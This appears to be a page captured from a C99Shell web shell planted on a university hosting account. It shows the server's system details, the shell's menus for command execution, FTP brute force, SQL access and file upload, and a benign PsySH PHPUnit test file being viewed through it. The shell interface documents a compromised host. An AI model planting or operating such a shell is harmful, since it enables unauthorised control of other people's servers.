!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.22 (Debian). PHP/5.6.36 

uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 

uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) 

Safe-mode: OFF (not secure)

/home/h33678/data/www/it-man.ztu.edu.ua/src/vendor/psy/psysh/test/Psy/Test/   drwxr-xr-x
Free 117.42 GB of 200.55 GB (58.55%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     CodeCleanerTest.php (2.48 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of Psy Shell.
 *
 * (c) 2012-2015 Justin Hileman
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Psy\Test;

use 
Psy\CodeCleaner;

class 
CodeCleanerTest extends \PHPUnit_Framework_TestCase
{
    
/**
     * @dataProvider semicolonCodeProvider
     */
    
public function testAutomaticSemicolons(array $lines$requireSemicolons$expected)
    {
        
$cc = new CodeCleaner();
        
$this->assertEquals($expected$cc->clean($lines$requireSemicolons));
    }

    public function 
semicolonCodeProvider()
    {
        return array(
            array(array(
'true'),  false'return true;'),
            array(array(
'true;'), false'return true;'),
            array(array(
'true;'), true,  'return true;'),
            array(array(
'true'),  true,  false),

            array(array(
'echo "foo";''true'), false"echo 'foo';\nreturn true;"),
            array(array(
'echo "foo";''true'), true,  false),
        );
    }

    
/**
     * @dataProvider unclosedStatementsProvider
     */
    
public function testUnclosedStatements(array $lines$isUnclosed)
    {
        
$cc  = new CodeCleaner();
        
$res $cc->clean($lines);

        if (
$isUnclosed) {
            
$this->assertFalse($res);
        } else {
            
$this->assertNotFalse($res);
        }
    }

    public function 
unclosedStatementsProvider()
    {
        return array(
            array(array(
'echo "'),   true),
            array(array(
'echo \''),  true),
            array(array(
'if (1) {'), true),

            array(array(
'echo ""'),   false),
            array(array(
"echo ''"),   false),
            array(array(
'if (1) {}'), false),

            array(array(
"\$content = <<<EOS\n"),   true),
            array(array(
"\$content = <<<'EOS'\n"), true),
        );
    }

    
/**
     * @dataProvider invalidStatementsProvider
     * @expectedException Psy\Exception\ParseErrorException
     */
    
public function testInvalidStatementsThrowParseErrors($code)
    {
        
$cc = new CodeCleaner();
        
$cc->clean(array($code));
    }

    public function 
invalidStatementsProvider()
    {
        return array(
            array(
'function "what'),
            array(
"function 'what"),
            array(
'echo }'),
            array(
'echo {'),
            array(
'if (1) }'),
            array(
'echo """'),
            array(
"echo '''"),
            array(
'$foo "bar'),
            array(
'$foo \'bar'),
        );
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.0211 ]--